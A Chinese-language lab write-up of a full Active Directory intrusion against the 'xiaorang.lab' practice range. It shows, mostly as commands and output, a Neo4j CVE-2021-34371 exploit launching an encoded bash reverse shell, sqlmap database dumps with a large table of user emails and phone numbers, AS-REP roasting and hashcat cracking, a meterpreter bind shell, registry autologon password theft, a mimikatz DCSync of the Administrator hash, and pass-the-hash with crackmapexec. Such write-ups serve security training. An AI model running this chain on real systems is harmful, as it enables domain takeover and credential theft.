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靶场日记-Time

AS-REP Rroasting Attack🎯

39.98.126.91

fscan看到7474端口的服务

img

发现是neo4j

img

CVE-2021-34371弹个shell

java -jar ./rhino_gadget.jar rmi://39.98.126.91:1337 "bash -c {echo,YmFzaCAtaSA+???????????????????MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

img

ifconfig拿到ip172.22.6.36

img

找到flag01,同时获得后续的hint

img

flag{fe30a3fe-c70f-42e7-a57e-9b87e1ca07e5}

vps起一个python http server python3 -m http.server 6666

wget传fscan到/tmp扫内网

./fscan -h 172.22.6.36/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-04-19 23:23:22] [INFO] 暴力破解线程数: 1
[2025-04-19 23:23:22] [INFO] 开始信息扫描
[2025-04-19 23:23:22] [INFO] CIDR范围: 172.22.6.0-172.22.6.255
[2025-04-19 23:23:22] [INFO] 生成IP范围: 172.22.6.0.%!d(string=172.22.6.255) - %!s(MISSING).%!d(MISSING)
[2025-04-19 23:23:22] [INFO] 解析CIDR 172.22.6.36/24 -> IP范围 172.22.6.0-172.22.6.255
[2025-04-19 23:23:22] [INFO] 最终有效主机数量: 256
[2025-04-19 23:23:22] [INFO] 开始主机扫描
[2025-04-19 23:23:22] [INFO] 正在尝试无监听ICMP探测...
[2025-04-19 23:23:22] [INFO] 当前用户权限不足,无法发送ICMP包
[2025-04-19 23:23:22] [INFO] 切换为PING方式探测...
[2025-04-19 23:23:22] [SUCCESS] 目标 172.22.6.12     存活 (ICMP)
[2025-04-19 23:23:22] [SUCCESS] 目标 172.22.6.38     存活 (ICMP)
[2025-04-19 23:23:22] [SUCCESS] 目标 172.22.6.25     存活 (ICMP)
[2025-04-19 23:23:22] [SUCCESS] 目标 172.22.6.36     存活 (ICMP)
[2025-04-19 23:23:28] [INFO] 存活主机数量: 4
[2025-04-19 23:23:28] [INFO] 有效端口数量: 233
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.38:80
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.38:22
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.36:22
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.25:445
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.12:445
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.12:389
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.25:139
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.12:139
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.25:135
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.12:135
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.12:88
[2025-04-19 23:23:28] [SUCCESS] 端口开放 172.22.6.36:7687
[2025-04-19 23:23:28] [SUCCESS] 服务识别 172.22.6.38:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-04-19 23:23:28] [SUCCESS] 服务识别 172.22.6.36:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-04-19 23:23:33] [SUCCESS] 服务识别 172.22.6.38:80 => [http]
[2025-04-19 23:23:33] [SUCCESS] 服务识别 172.22.6.25:445 => 
[2025-04-19 23:23:33] [SUCCESS] 服务识别 172.22.6.12:445 => 
[2025-04-19 23:23:33] [SUCCESS] 服务识别 172.22.6.12:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: xiaorang.lab, Site: Default-First-Site-Name
[2025-04-19 23:23:34] [SUCCESS] 服务识别 172.22.6.25:139 =>  Banner:[.]
[2025-04-19 23:23:34] [SUCCESS] 服务识别 172.22.6.12:139 =>  Banner:[.]
[2025-04-19 23:23:34] [SUCCESS] 服务识别 172.22.6.12:88 => 
[2025-04-19 23:23:39] [SUCCESS] 服务识别 172.22.6.36:7687 => 
[2025-04-19 23:24:34] [SUCCESS] 服务识别 172.22.6.25:135 => 
[2025-04-19 23:24:34] [SUCCESS] 服务识别 172.22.6.12:135 => 
[2025-04-19 23:24:34] [INFO] 存活端口数量: 12
[2025-04-19 23:24:34] [INFO] 开始漏洞扫描
[2025-04-19 23:24:34] [INFO] 加载的插件: findnet, ldap, ms17010, neo4j, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-04-19 23:24:34] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.6.12
主机名: DC-PROGAME
发现的网络接口:
   IPv4地址:
      └─ 172.22.6.12
[2025-04-19 23:24:34] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.6.25
主机名: WIN2019
发现的网络接口:
   IPv4地址:
      └─ 172.22.6.25
[2025-04-19 23:24:34] [SUCCESS] 网站标题 http://172.22.6.38        状态码:200 长度:1531   标题:后台登录
[2025-04-19 23:24:34] [SUCCESS] NetBios 172.22.6.25     XIAORANG\WIN2019              
[2025-04-19 23:24:34] [SUCCESS] NetBios 172.22.6.12     DC:DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393
[2025-04-19 23:24:34] [INFO] 系统信息 172.22.6.12 [Windows Server 2016 Datacenter 14393]
[2025-04-19 23:24:35] [SUCCESS] 网站标题 https://172.22.6.36:7687  状态码:400 长度:50     标题:无标题
[2025-04-19 23:24:57] [SUCCESS] 扫描已完成: 22/22

分析得到,内网开放

172.22.6.12->域控
172.22.6.25->域内机器
172.22.6.36->当前机器
172.22.6.38->存在一个后台登陆页面

再传frp搭建代理

img

vim /etc/proxychains4.conf添加一条sock5记录

先打.38的后台登陆页面

img

抓包下来

POST /index.php HTTP/1.1
Host: 172.22.6.38
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.22.6.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.22.6.38/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
 
username=admin&password=test

sqlmap

proxychains4 sqlmap -r 1.txt --current-db
proxychains4 sqlmap -r 1.txt -D oa_db --tables
proxychains4 sqlmap -r 1.txt -D oa_db -T oa_f1Agggg --columns
proxychains4 sqlmap -r 1.txt -D oa_db -T oa_f1Agggg -C flag02 --dump

img

还可以查到oa_adminoa_users两个表

img

bo2y8kAL3HnXUiQo | administrator
oa_users
Database: oa_db
Table: oa_users
[500 entries]
+-----+----------------------------+-------------+-----------------+
| id  | email                      | phone       | username        |
+-----+----------------------------+-------------+-----------------+
[00:06:53] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 245 | chenyan@xiaorang.lab       | 18281528743 | CHEN YAN        |
| 246 | tanggui@xiaorang.lab       | 18060615547 | TANG GUI        |
| 247 | buning@xiaorang.lab        | 13046481392 | BU NING         |
| 248 | beishu@xiaorang.lab        | 18268508400 | BEI SHU         |
| 249 | shushi@xiaorang.lab        | 17770383196 | SHU SHI         |
| 250 | fuyi@xiaorang.lab          | 18902082658 | FU YI           |
| 251 | pangcheng@xiaorang.lab     | 18823789530 | PANG CHENG      |
| 252 | tonghao@xiaorang.lab       | 13370873526 | TONG HAO        |
| 253 | jiaoshan@xiaorang.lab      | 15375905173 | JIAO SHAN       |
| 254 | dulun@xiaorang.lab         | 13352331157 | DU LUN          |
| 255 | kejuan@xiaorang.lab        | 13222550481 | KE JUAN         |
| 256 | gexin@xiaorang.lab         | 18181553086 | GE XIN          |
| 257 | lugu@xiaorang.lab          | 18793883130 | LU GU           |
| 258 | guzaicheng@xiaorang.lab    | 15309377043 | GU ZAI CHENG    |
| 259 | feicai@xiaorang.lab        | 13077435367 | FEI CAI         |
| 260 | ranqun@xiaorang.lab        | 18239164662 | RAN QUN         |
| 261 | zhouyi@xiaorang.lab        | 13169264671 | ZHOU YI         |
| 262 | shishu@xiaorang.lab        | 18592890189 | SHI SHU         |
| 263 | yanyun@xiaorang.lab        | 15071085768 | YAN YUN         |
| 264 | chengqiu@xiaorang.lab      | 13370162980 | CHENG QIU       |
| 265 | louyou@xiaorang.lab        | 13593582379 | LOU YOU         |
| 266 | maqun@xiaorang.lab         | 15235945624 | MA QUN          |
| 267 | wenbiao@xiaorang.lab       | 13620643639 | WEN BIAO        |
| 268 | weishengshan@xiaorang.lab  | 18670502260 | WEI SHENG SHAN  |
| 269 | zhangxin@xiaorang.lab      | 15763185760 | ZHANG XIN       |
| 270 | chuyuan@xiaorang.lab       | 18420545268 | CHU YUAN        |
| 271 | wenliang@xiaorang.lab      | 13601678032 | WEN LIANG       |
| 272 | yulvxue@xiaorang.lab       | 18304374901 | YU LV XUE       |
| 273 | luyue@xiaorang.lab         | 18299785575 | LU YUE          |
| 274 | ganjian@xiaorang.lab       | 18906111021 | GAN JIAN        |
| 275 | pangzhen@xiaorang.lab      | 13479328562 | PANG ZHEN       |
| 276 | guohong@xiaorang.lab       | 18510220597 | GUO HONG        |
| 277 | lezhong@xiaorang.lab       | 15320909285 | LE ZHONG        |
| 278 | sheweiyue@xiaorang.lab     | 13736399596 | SHE WEI YUE     |
| 279 | dujian@xiaorang.lab        | 15058892639 | DU JIAN         |
| 280 | lidongjin@xiaorang.lab     | 18447207007 | LI DONG JIN     |
| 281 | hongqun@xiaorang.lab       | 15858462251 | HONG QUN        |
| 282 | yexing@xiaorang.lab        | 13719043564 | YE XING         |
| 283 | maoda@xiaorang.lab         | 13878840690 | MAO DA          |
| 284 | qiaomei@xiaorang.lab       | 13053207462 | QIAO MEI        |
| 285 | nongzhen@xiaorang.lab      | 15227699960 | NONG ZHEN       |
| 286 | dongshu@xiaorang.lab       | 15695562947 | DONG SHU        |
| 287 | zhuzhu@xiaorang.lab        | 13070163385 | ZHU ZHU         |
| 288 | jiyun@xiaorang.lab         | 13987332999 | JI YUN          |
| 289 | qiguanrou@xiaorang.lab     | 15605983582 | QI GUAN ROU     |
| 290 | yixue@xiaorang.lab         | 18451603140 | YI XUE          |
| 291 | chujun@xiaorang.lab        | 15854942459 | CHU JUN         |
| 292 | shenshan@xiaorang.lab      | 17712052191 | SHEN SHAN       |
| 293 | lefen@xiaorang.lab         | 13271196544 | LE FEN          |
| 294 | yubo@xiaorang.lab          | 13462202742 | YU BO           |
| 295 | helianrui@xiaorang.lab     | 15383000907 | HE LIAN RUI     |
| 296 | xuanqun@xiaorang.lab       | 18843916267 | XUAN QUN        |
| 297 | shangjun@xiaorang.lab      | 15162486698 | SHANG JUN       |
| 298 | huguang@xiaorang.lab       | 18100586324 | HU GUANG        |
| 299 | wansifu@xiaorang.lab       | 18494761349 | WAN SI FU       |
| 300 | fenghong@xiaorang.lab      | 13536727314 | FENG HONG       |
| 301 | wanyan@xiaorang.lab        | 17890844429 | WAN YAN         |
| 302 | diyan@xiaorang.lab         | 18534028047 | DI YAN          |
| 303 | xiangyu@xiaorang.lab       | 13834043047 | XIANG YU        |
| 304 | songyan@xiaorang.lab       | 15282433280 | SONG YAN        |
| 305 | fandi@xiaorang.lab         | 15846960039 | FAN DI          |
| 306 | xiangjuan@xiaorang.lab     | 18120327434 | XIANG JUAN      |
| 307 | beirui@xiaorang.lab        | 18908661803 | BEI RUI         |
| 308 | didi@xiaorang.lab          | 13413041463 | DI DI           |
| 309 | zhubin@xiaorang.lab        | 15909558554 | ZHU BIN         |
| 310 | lingchun@xiaorang.lab      | 13022790678 | LING CHUN       |
| 311 | zhenglu@xiaorang.lab       | 13248244873 | ZHENG LU        |
| 312 | xundi@xiaorang.lab         | 18358493414 | XUN DI          |
| 313 | wansishun@xiaorang.lab     | 18985028319 | WAN SI SHUN     |
| 314 | yezongyue@xiaorang.lab     | 13866302416 | YE ZONG YUE     |
| 315 | bianmei@xiaorang.lab       | 18540879992 | BIAN MEI        |
| 316 | shanshao@xiaorang.lab      | 18791488918 | SHAN SHAO       |
| 317 | zhenhui@xiaorang.lab       | 13736784817 | ZHEN HUI        |
| 318 | chengli@xiaorang.lab       | 15913267394 | CHENG LI        |
| 319 | yufen@xiaorang.lab         | 18432795588 | YU FEN          |
| 320 | jiyi@xiaorang.lab          | 13574211454 | JI YI           |
| 321 | panbao@xiaorang.lab        | 13675851303 | PAN BAO         |
| 322 | mennane@xiaorang.lab       | 15629706208 | MEN NAN E       |
| 323 | fengsi@xiaorang.lab        | 13333432577 | FENG SI         |
| 324 | mingyan@xiaorang.lab       | 18296909463 | MING YAN        |
| 325 | luoyou@xiaorang.lab        | 15759321415 | LUO YOU         |
| 326 | liangduanqing@xiaorang.lab | 13150744785 | LIANG DUAN QING |
| 327 | nongyan@xiaorang.lab       | 18097386975 | NONG YAN        |
| 328 | haolun@xiaorang.lab        | 15152700465 | HAO LUN         |
| 329 | oulun@xiaorang.lab         | 13402760696 | OU LUN          |
| 330 | weichipeng@xiaorang.lab    | 18057058937 | WEI CHI PENG    |
| 331 | qidiaofang@xiaorang.lab    | 18728297829 | QI DIAO FANG    |
| 332 | xuehe@xiaorang.lab         | 13398862169 | XUE HE          |
| 333 | chensi@xiaorang.lab        | 18030178713 | CHEN SI         |
| 334 | guihui@xiaorang.lab        | 17882514129 | GUI HUI         |
| 335 | fuyue@xiaorang.lab         | 18298436549 | FU YUE          |
| 336 | wangxing@xiaorang.lab      | 17763645267 | WANG XING       |
| 337 | zhengxiao@xiaorang.lab     | 18673968392 | ZHENG XIAO      |
| 338 | guhui@xiaorang.lab         | 15166711352 | GU HUI          |
| 339 | baoai@xiaorang.lab         | 15837430827 | BAO AI          |
| 340 | hangzhao@xiaorang.lab      | 13235488232 | HANG ZHAO       |
| 341 | xingye@xiaorang.lab        | 13367587521 | XING YE         |
| 342 | qianyi@xiaorang.lab        | 18657807767 | QIAN YI         |
| 343 | xionghong@xiaorang.lab     | 17725874584 | XIONG HONG      |
| 344 | zouqi@xiaorang.lab         | 15300430128 | ZOU QI          |
| 345 | rongbiao@xiaorang.lab      | 13034242682 | RONG BIAO       |
| 346 | gongxin@xiaorang.lab       | 15595839880 | GONG XIN        |
| 347 | luxing@xiaorang.lab        | 18318675030 | LU XING         |
| 348 | huayan@xiaorang.lab        | 13011805354 | HUA YAN         |
| 349 | duyue@xiaorang.lab         | 15515878208 | DU YUE          |
| 350 | xijun@xiaorang.lab         | 17871583183 | XI JUN          |
| 351 | daiqing@xiaorang.lab       | 18033226216 | DAI QING        |
| 352 | yingbiao@xiaorang.lab      | 18633421863 | YING BIAO       |
| 353 | hengteng@xiaorang.lab      | 15956780740 | HENG TENG       |
| 354 | changwu@xiaorang.lab       | 15251485251 | CHANG WU        |
| 355 | chengying@xiaorang.lab     | 18788248715 | CHENG YING      |
| 356 | luhong@xiaorang.lab        | 17766091079 | LU HONG         |
| 357 | tongxue@xiaorang.lab       | 18466102780 | TONG XUE        |
| 358 | xiangqian@xiaorang.lab     | 13279611385 | XIANG QIAN      |
| 359 | shaokang@xiaorang.lab      | 18042645434 | SHAO KANG       |
| 360 | nongzhu@xiaorang.lab       | 13934236634 | NONG ZHU        |
| 361 | haomei@xiaorang.lab        | 13406913218 | HAO MEI         |
| 362 | maoqing@xiaorang.lab       | 15713298425 | MAO QING        |
| 363 | xiai@xiaorang.lab          | 18148404789 | XI AI           |
| 364 | bihe@xiaorang.lab          | 13628593791 | BI HE           |
| 365 | gaoli@xiaorang.lab         | 15814408188 | GAO LI          |
| 366 | jianggong@xiaorang.lab     | 15951118926 | JIANG GONG      |
| 367 | pangning@xiaorang.lab      | 13443921700 | PANG NING       |
| 368 | ruishi@xiaorang.lab        | 15803112819 | RUI SHI         |
| 369 | wuhuan@xiaorang.lab        | 13646953078 | WU HUAN         |
| 370 | qiaode@xiaorang.lab        | 13543564200 | QIAO DE         |
| 371 | mayong@xiaorang.lab        | 15622971484 | MA YONG         |
| 372 | hangda@xiaorang.lab        | 15937701659 | HANG DA         |
| 373 | changlu@xiaorang.lab       | 13734991654 | CHANG LU        |
| 374 | liuyuan@xiaorang.lab       | 15862054540 | LIU YUAN        |
| 375 | chenggu@xiaorang.lab       | 15706685526 | CHENG GU        |
| 376 | shentuyun@xiaorang.lab     | 15816902379 | SHEN TU YUN     |
| 377 | zhuangsong@xiaorang.lab    | 17810274262 | ZHUANG SONG     |
| 378 | chushao@xiaorang.lab       | 18822001640 | CHU SHAO        |
| 379 | heli@xiaorang.lab          | 13701347081 | HE LI           |
| 380 | haoming@xiaorang.lab       | 15049615282 | HAO MING        |
| 381 | xieyi@xiaorang.lab         | 17840660107 | XIE YI          |
| 382 | shangjie@xiaorang.lab      | 15025010410 | SHANG JIE       |
| 383 | situxin@xiaorang.lab       | 18999728941 | SI TU XIN       |
| 384 | linxi@xiaorang.lab         | 18052976097 | LIN XI          |
| 385 | zoufu@xiaorang.lab         | 15264535633 | ZOU FU          |
| 386 | qianqing@xiaorang.lab      | 18668594658 | QIAN QING       |
| 387 | qiai@xiaorang.lab          | 18154690198 | QI AI           |
| 388 | ruilin@xiaorang.lab        | 13654483014 | RUI LIN         |
| 389 | luomeng@xiaorang.lab       | 15867095032 | LUO MENG        |
| 390 | huaren@xiaorang.lab        | 13307653720 | HUA REN         |
| 391 | yanyangmei@xiaorang.lab    | 15514015453 | YAN YANG MEI    |
| 392 | zuofen@xiaorang.lab        | 15937087078 | ZUO FEN         |
| 393 | manyuan@xiaorang.lab       | 18316106061 | MAN YUAN        |
| 394 | yuhui@xiaorang.lab         | 18058257228 | YU HUI          |
| 395 | sunli@xiaorang.lab         | 18233801124 | SUN LI          |
| 396 | guansixin@xiaorang.lab     | 13607387740 | GUAN SI XIN     |
| 397 | ruisong@xiaorang.lab       | 13306021674 | RUI SONG        |
| 398 | qiruo@xiaorang.lab         | 13257810331 | QI RUO          |
| 399 | jinyu@xiaorang.lab         | 18565922652 | JIN YU          |
| 400 | shoujuan@xiaorang.lab      | 18512174415 | SHOU JUAN       |
| 401 | yanqian@xiaorang.lab       | 13799789435 | YAN QIAN        |
| 402 | changyun@xiaorang.lab      | 18925015029 | CHANG YUN       |
| 403 | hualu@xiaorang.lab         | 13641470801 | HUA LU          |
| 404 | huanming@xiaorang.lab      | 15903282860 | HUAN MING       |
| 405 | baoshao@xiaorang.lab       | 13795275611 | BAO SHAO        |
| 406 | hongmei@xiaorang.lab       | 13243605925 | HONG MEI        |
| 407 | manyun@xiaorang.lab        | 13238107359 | MAN YUN         |
| 408 | changwan@xiaorang.lab      | 13642205622 | CHANG WAN       |
| 409 | wangyan@xiaorang.lab       | 13242486231 | WANG YAN        |
| 410 | shijian@xiaorang.lab       | 15515077573 | SHI JIAN        |
| 411 | ruibei@xiaorang.lab        | 18157706586 | RUI BEI         |
| 412 | jingshao@xiaorang.lab      | 18858376544 | JING SHAO       |
| 413 | jinzhi@xiaorang.lab        | 18902437082 | JIN ZHI         |
| 414 | yuhui@xiaorang.lab         | 15215599294 | YU HUI          |
| 415 | zangpeng@xiaorang.lab      | 18567574150 | ZANG PENG       |
| 416 | changyun@xiaorang.lab      | 15804640736 | CHANG YUN       |
| 417 | yetai@xiaorang.lab         | 13400150018 | YE TAI          |
| 418 | luoxue@xiaorang.lab        | 18962643265 | LUO XUE         |
| 419 | moqian@xiaorang.lab        | 18042706956 | MO QIAN         |
| 420 | xupeng@xiaorang.lab        | 15881934759 | XU PENG         |
| 421 | ruanyong@xiaorang.lab      | 15049703903 | RUAN YONG       |
| 422 | guliangxian@xiaorang.lab   | 18674282714 | GU LIANG XIAN   |
| 423 | yinbin@xiaorang.lab        | 15734030492 | YIN BIN         |
| 424 | huarui@xiaorang.lab        | 17699257041 | HUA RUI         |
| 425 | niuya@xiaorang.lab         | 13915041589 | NIU YA          |
| 426 | guwei@xiaorang.lab         | 13584571917 | GU WEI          |
| 427 | qinguan@xiaorang.lab       | 18427953434 | QIN GUAN        |
| 428 | yangdanhan@xiaorang.lab    | 15215900100 | YANG DAN HAN    |
| 429 | yingjun@xiaorang.lab       | 13383367818 | YING JUN        |
| 430 | weiwan@xiaorang.lab        | 13132069353 | WEI WAN         |
| 431 | sunduangu@xiaorang.lab     | 15737981701 | SUN DUAN GU     |
| 432 | sisiwu@xiaorang.lab        | 18021600640 | SI SI WU        |
| 433 | nongyan@xiaorang.lab       | 13312613990 | NONG YAN        |
| 434 | xuanlu@xiaorang.lab        | 13005748230 | XUAN LU         |
| 435 | yunzhong@xiaorang.lab      | 15326746780 | YUN ZHONG       |
| 436 | gengfei@xiaorang.lab       | 13905027813 | GENG FEI        |
| 437 | zizhuansong@xiaorang.lab   | 13159301262 | ZI ZHUAN SONG   |
| 438 | ganbailong@xiaorang.lab    | 18353612904 | GAN BAI LONG    |
| 439 | shenjiao@xiaorang.lab      | 15164719751 | SHEN JIAO       |
| 440 | zangyao@xiaorang.lab       | 18707028470 | ZANG YAO        |
| 441 | yangdanhe@xiaorang.lab     | 18684281105 | YANG DAN HE     |
| 442 | chengliang@xiaorang.lab    | 13314617161 | CHENG LIANG     |
| 443 | xudi@xiaorang.lab          | 18498838233 | XU DI           |
| 444 | wulun@xiaorang.lab         | 18350490780 | WU LUN          |
| 445 | yuling@xiaorang.lab        | 18835870616 | YU LING         |
| 446 | taoya@xiaorang.lab         | 18494928860 | TAO YA          |
| 447 | jinle@xiaorang.lab         | 15329208123 | JIN LE          |
| 448 | youchao@xiaorang.lab       | 13332964189 | YOU CHAO        |
| 449 | liangduanzhi@xiaorang.lab  | 15675237494 | LIANG DUAN ZHI  |
| 450 | jiagupiao@xiaorang.lab     | 17884962455 | JIA GU PIAO     |
| 451 | ganze@xiaorang.lab         | 17753508925 | GAN ZE          |
| 452 | jiangqing@xiaorang.lab     | 15802357200 | JIANG QING      |
| 453 | jinshan@xiaorang.lab       | 13831466303 | JIN SHAN        |
| 454 | zhengpubei@xiaorang.lab    | 13690156563 | ZHENG PU BEI    |
| 455 | cuicheng@xiaorang.lab      | 17641589842 | CUI CHENG       |
| 456 | qiyong@xiaorang.lab        | 13485427829 | QI YONG         |
| 457 | qizhu@xiaorang.lab         | 18838859844 | QI ZHU          |
| 458 | ganjian@xiaorang.lab       | 18092585003 | GAN JIAN        |
| 459 | yurui@xiaorang.lab         | 15764121637 | YU RUI          |
| 460 | feishu@xiaorang.lab        | 18471512248 | FEI SHU         |
| 461 | chenxin@xiaorang.lab       | 13906545512 | CHEN XIN        |
| 462 | shengzhe@xiaorang.lab      | 18936457394 | SHENG ZHE       |
| 463 | wohong@xiaorang.lab        | 18404022650 | WO HONG         |
| 464 | manzhi@xiaorang.lab        | 15973350408 | MAN ZHI         |
| 465 | xiangdong@xiaorang.lab     | 13233908989 | XIANG DONG      |
| 466 | weihui@xiaorang.lab        | 15035834945 | WEI HUI         |
| 467 | xingquan@xiaorang.lab      | 18304752969 | XING QUAN       |
| 468 | miaoshu@xiaorang.lab       | 15121570939 | MIAO SHU        |
| 469 | gongwan@xiaorang.lab       | 18233990398 | GONG WAN        |
| 470 | qijie@xiaorang.lab         | 15631483536 | QI JIE          |
| 471 | shaoting@xiaorang.lab      | 15971628914 | SHAO TING       |
| 472 | xiqi@xiaorang.lab          | 18938747522 | XI QI           |
| 473 | jinghong@xiaorang.lab      | 18168293686 | JING HONG       |
| 474 | qianyou@xiaorang.lab       | 18841322688 | QIAN YOU        |
| 475 | chuhua@xiaorang.lab        | 15819380754 | CHU HUA         |
| 476 | yanyue@xiaorang.lab        | 18702474361 | YAN YUE         |
| 477 | huangjia@xiaorang.lab      | 13006878166 | HUANG JIA       |
| 478 | zhouchun@xiaorang.lab      | 13545820679 | ZHOU CHUN       |
| 479 | jiyu@xiaorang.lab          | 18650881187 | JI YU           |
| 480 | wendong@xiaorang.lab       | 17815264093 | WEN DONG        |
| 481 | heyuan@xiaorang.lab        | 18710821773 | HE YUAN         |
| 482 | mazhen@xiaorang.lab        | 18698248638 | MA ZHEN         |
| 483 | shouchun@xiaorang.lab      | 15241369178 | SHOU CHUN       |
| 484 | liuzhe@xiaorang.lab        | 18530936084 | LIU ZHE         |
| 485 | fengbo@xiaorang.lab        | 15812110254 | FENG BO         |
| 486 | taigongyuan@xiaorang.lab   | 15943349034 | TAI GONG YUAN   |
| 487 | gesheng@xiaorang.lab       | 18278508909 | GE SHENG        |
| 488 | songming@xiaorang.lab      | 13220512663 | SONG MING       |
| 489 | yuwan@xiaorang.lab         | 15505678035 | YU WAN          |
| 490 | diaowei@xiaorang.lab       | 13052582975 | DIAO WEI        |
| 491 | youyi@xiaorang.lab         | 18036808394 | YOU YI          |
| 492 | rongxianyu@xiaorang.lab    | 18839918955 | RONG XIAN YU    |
| 493 | fuyi@xiaorang.lab          | 15632151678 | FU YI           |
| 494 | linli@xiaorang.lab         | 17883399275 | LIN LI          |
| 495 | weixue@xiaorang.lab        | 18672465853 | WEI XUE         |
| 496 | hejuan@xiaorang.lab        | 13256081102 | HE JUAN         |
| 497 | zuoqiutai@xiaorang.lab     | 18093001354 | ZUO QIU TAI     |
| 498 | siyi@xiaorang.lab          | 17873307773 | SI YI           |
| 499 | shenshan@xiaorang.lab      | 18397560369 | SHEN SHAN       |
| 500 | tongdong@xiaorang.lab      | 15177549595 | TONG DONG       |
+-----+----------------------------+-------------+-----------------+

正则处理一下数据cat userinfo | grep -Po '[a-z]+@xiaorang.lab' > user.txt

然后尝试AS-REP Rroasting攻击

proxychains4 impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

img

$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:475cb769d24358fbf9b51e24025e08b9$65e4ab39a945ac4be228557a76ff29407330420356e363400223d60ccb98a76ee2f924b596cbc79d33fc1c9fd78636264b964e79c6652231fdbeaaee17ce9e862b2f70dc4fc961514fe65a11394e33f5824c6913f40c5f86b75ee19adcf0937e032c2d51f9d60847af2e96b1c24b9df3c8b1444f89ac026edac6cfa3f017aab52db2fa331eac31cb23351e1aa85a649c0982c70a732934c7eada0b97fb92e9e359b91cbfd181ffb76c597b6c42fa9af0991abce1c8af543a6a2af8b8abcb129d62b3e699dcb8e52f9d14677e7c6d10e985eae97d0ce15a856a3ccc1590e4b4123ada9e1adcc5298eb2726ea9

hashcat解一下密码hashcat -a 0 -m 18200 --force hash.txt rockyou.txt

img

得到账号密码zhangxin@xiaorang.lab:strawberry

rdp上线

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传一个SharpHound上去SharpHound.exe -c all

得到的域内关系利用BloodHound分析

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“Find Shortest Paths to Domain Admins”查找最短路

yuxuan在这里是自动登录用户,直接查登录密码

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

也可以生成一个正向shell抓自动登录密码

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 172.22.6.25
run

meterpreter > run windows/gather/credentials/windows_autologin

img

yuxuan:Yuxuan7QbrgZ3L

重新rdp登录yuxuan的账号

mimikatz.exe抓Administrator的hash

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

img

C:\Users\yuxuan\Desktop>mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:xiaorang.lab /user:Administrator
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC-PROGAME.xiaorang.lab' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 1601/1/1 8:00:00
Password last change : 2025/4/19 22:36:00
Object Security ID   : S-1-5-21-3623938633-4064111800-2925858365-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 04d93ffd6f5f6e4490e0de23f240a5e9

可以拿到域控的system权限,打pth收下剩下两个flag

proxychains4 crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

img

proxychains4 crackmapexec smb 172.22.6.12 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"

img